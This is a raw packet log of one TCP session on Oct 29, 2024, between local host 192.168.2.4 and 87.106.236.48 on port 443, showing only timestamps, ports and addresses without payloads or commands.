Oct 29, 2024 04:17:36.217636108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217650890 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.217684031 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.217684031 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218142986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218185902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218203068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218216896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218255997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218255997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218604088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218647003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218661070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218676090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.218702078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.218722105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219005108 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219053030 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219110012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219122887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219166994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219166994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219490051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219532967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219542980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219557047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219582081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219602108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219887972 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219932079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219947100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.219963074 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.219991922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220011950 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220247984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220293999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220307112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220323086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220359087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220359087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220582962 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220626116 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220645905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220664978 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220711946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220711946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220844984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220889091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220907927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220927000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.220949888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220951080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.220976114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.245034933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245111942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245142937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.245163918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245189905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.245488882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245537996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245558023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.245573044 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.245603085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.245630980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246182919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246225119 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246254921 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246268988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246295929 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246315956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246563911 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246607065 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246634960 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246648073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246671915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246855974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246917963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246943951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.246959925 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.246993065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.247011900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.247226000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.247287035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.247303009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.247334003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.247364998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.247399092 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.284849882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.289824009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.289871931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.289915085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.289933920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.289971113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.289990902 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.293674946 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.293771982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.293836117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.293854952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.293880939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294019938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294068098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294084072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294099092 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294128895 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294164896 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294297934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294339895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294361115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294373035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.294401884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.294420958 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.333307981 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.333355904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.333396912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.333417892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.333435059 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.333456039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.334830046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.334875107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.334907055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.334923029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.334961891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.334983110 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335252047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335294008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335333109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335355043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335386992 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335516930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335741997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335781097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335800886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335814953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.335844040 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.335863113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336205959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336270094 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336281061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336307049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336338043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336424112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336540937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336582899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336621046 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336639881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336672068 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336693048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336838961 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336879969 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336895943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336910009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.336942911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.336977005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337445021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337490082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337512016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337526083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337555885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337590933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337667942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337718010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337732077 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337748051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.337770939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337809086 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.337930918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338036060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338072062 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338090897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338139057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338233948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338279963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338294029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338310003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338339090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338357925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338505983 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338548899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338568926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338582039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.338634968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.338634968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.362915039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.362960100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363044024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363063097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363114119 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363115072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363225937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363270044 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363286018 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363365889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363442898 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363467932 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363558054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363599062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363632917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363646984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363675117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363675117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363701105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.363929987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.363976002 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364000082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364012957 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364039898 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364269972 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364315987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364331961 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364347935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364377975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364402056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364655018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364695072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364717007 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364731073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.364756107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.364773035 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.407680988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.407736063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.407758951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.407784939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.407808065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.410907030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411092997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411139011 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411184072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411201954 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411225080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411250114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411393881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411437035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411451101 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411464930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411495924 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411514997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.411945105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.411988020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.412014008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.412030935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.412056923 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.412075996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.450455904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.450510025 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.450551987 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.450577021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.450602055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.451491117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452078104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452121019 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452145100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452162981 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452188015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452188015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452214956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452383041 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452440977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452460051 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452475071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.452502012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452502012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.452524900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453016996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453080893 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453103065 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453167915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453264952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453308105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453337908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453351021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453382969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453382969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453630924 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453675032 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453689098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453705072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.453737974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.453758001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454226971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454268932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454297066 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454309940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454334974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454360962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454421043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454466105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454483032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454516888 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.454546928 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454546928 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.454571009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455069065 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.455132961 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455154896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.455220938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455671072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.455715895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.455734015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455746889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.455784082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455802917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.455956936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456001043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456020117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456032991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456058979 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456075907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456372976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456415892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456439972 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456459999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456482887 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456484079 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456520081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456578970 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456623077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456640959 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456653118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.456679106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.456698895 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481045008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481111050 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481115103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481137991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481168985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481184959 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481455088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481498957 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481519938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481534004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481561899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481579065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481767893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481812000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481827021 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481841087 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.481868029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.481888056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482423067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.482464075 CET	443	49761	87.106.236.48	192.168.2.4
